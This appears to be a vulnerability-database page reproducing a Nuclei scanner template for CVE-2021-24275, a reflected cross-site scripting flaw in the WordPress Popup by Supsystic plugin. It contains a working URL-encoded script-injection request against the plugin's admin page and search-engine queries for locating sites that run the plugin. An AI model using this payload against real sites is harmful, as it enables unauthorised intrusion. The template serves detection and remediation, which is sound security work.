CVE-2021-24275: Popup by Supsystic <1.10.5 - Cross-Site scripting

2025-08-01 Popup by Supsystic PoC Public

Description

WordPress Popup by Supsystic before 1.10.5 did not sanitize the tab parameter of its options page before outputting it in an attribute, leading to a reflected cross-site scripting issue.

PoC

id: CVE-2021-24275

info:
  name: Popup by Supsystic <1.10.5 - Cross-Site scripting
  author: dhiyaneshDK
  severity: medium
  description: WordPress Popup by Supsystic before 1.10.5 did not sanitize the tab parameter of its options page before outputting it in an attribute, leading to a reflected cross-site scripting issue.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of the victim's browser, leading to potential data theft, session hijacking, or defacement of the affected website.
  remediation: |
    Upgrade to Popup by Supsystic version 1.10.5 or later to mitigate the vulnerability.
  reference:
    - https://wpscan.com/vulnerability/efdc76e0-c14a-4baf-af70-9d381107308f
    - http://packetstormsecurity.com/files/164311/WordPress-Popup-1.10.4-Cross-Site-Scripting.html
    - https://nvd.nist.gov/vuln/detail/CVE-2021-24275
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-24275
    cwe-id: CWE-79
    epss-score: 0.18165
    epss-percentile: 0.97053
    cpe: cpe:2.3:a:supsystic:popup:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 1
    vendor: supsystic
    product: popup
    framework: wordpress
    shodan-query: http.html:/wp-content/plugins/popup-by-supsystic
    fofa-query: body=/wp-content/plugins/popup-by-supsystic
    publicwww-query: /wp-content/plugins/popup-by-supsystic
  tags: cve2021,cve,wpscan,packetstorm,wordpress,wp-plugin,supsystic,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/wp-admin/admin.php?page=popup-wp-supsystic&tab=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'

    matchers-condition: and
    matchers:
      - type: word
        words:
          - '</script><script>alert(document.domain)</script>'
        condition: and

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100c6e61cc8212be7e919a4c5f661ad0c839478db55a0a42b6615b64dd2812cf475022100b3a3a2a3a1e95561ca6d7a2f433229f94e9c65f67c55a8746a775d71739ec937:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

Related Vulnerabilities